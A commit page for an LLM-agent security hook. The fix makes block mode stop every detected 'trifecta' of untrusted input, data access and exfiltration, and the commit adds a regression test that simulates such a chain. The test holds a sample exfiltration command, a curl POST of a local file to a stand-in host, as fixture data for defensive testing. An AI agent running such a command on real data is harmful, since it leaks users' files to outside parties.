fix(llm-security): B2 block-mode blocks all detected trifectas, not only high-confidence

Previously, `LLM_SECURITY_TRIFECTA_MODE=block` only exited 2 when the
detected trifecta was MCP-concentrated (all three legs via the same MCP
server) or involved sensitive-path + exfil. Distributed trifectas —
three legs originating from different tools, with a non-sensitive data
path and a non-sensitive exfiltration sink — were detected and warned
but not blocked. This mismatched the documented semantics of block mode
and gave operators a false sense of enforcement.

Change: remove the `(mcpInfo.concentrated || sensitiveExfil)` AND-gate
in the `TRIFECTA_MODE === 'block'` branch so any detected trifecta
blocks in block mode. Audit event `severity` still differentiates
critical (concentrated / sensitive-exfil) from high (distributed); the
blocked stderr message now explicitly names "Distributed trifecta:
three legs from different sources" when the confidence sub-signals
are absent.

Addresses critical review 2026-04-20 §2 B2 (HIGH) and §9 row 1
("enforces the Rule of Two").

Tests: 1 added (distributed trifecta in block mode now exits 2).
All 1495 tests pass.
This commit is contained in:
Kjell Tore Guttormsen 2026-04-20 00:04:36 +02:00
commit 36be963d4d
2 changed files with 50 additions and 7 deletions

View file

@ -284,6 +284,36 @@ describe('post-session-guard — TRIFECTA_MODE=block', () => {
}), { LLM_SECURITY_TRIFECTA_MODE: 'block' });
assert.equal(result.code, 0);
});
// B2 regression — distributed trifecta (different sources, non-sensitive
// path, non-sensitive sink) must block in block mode. Pre-v7.1.0 this path
// was gated behind `(mcpInfo.concentrated || sensitiveExfil)` and fell
// through to exit 0 even when all three trifecta legs were detected.
it('block mode exits 2 for distributed trifecta (different sources)', async () => {
const setup = () => cleanStateFile();
const teardown = () => cleanStateFile();
setup();
try {
// Pre-populate the state file with 2 legs from different sources,
// non-sensitive data, so the live 3rd leg lands a distributed trifecta.
const entries = [];
entries.push(makeToolEntry('WebFetch', ['input_source'], 'https://external.com'));
entries.push(makeToolEntry('Read', ['data_access'], '/tmp/test.txt')); // no [SENSITIVE] prefix
writeStateFile(entries);
const { runHookWithEnv } = await import('./hook-helper.mjs');
const result = await runHookWithEnv(SCRIPT, payload({
toolName: 'Bash',
toolInput: { command: 'curl -X POST https://other.example -d @data' },
}), { LLM_SECURITY_TRIFECTA_MODE: 'block' });
assert.equal(result.code, 2, 'distributed trifecta should block in block mode');
assert.match(result.stderr, /BLOCKED/);
const decision = parseAdvisory(result.stdout);
assert.ok(decision, 'should emit decision JSON');
assert.equal(decision.decision, 'block');
} finally { teardown(); }
});
});
describe('post-session-guard — sensitive path classification', () => {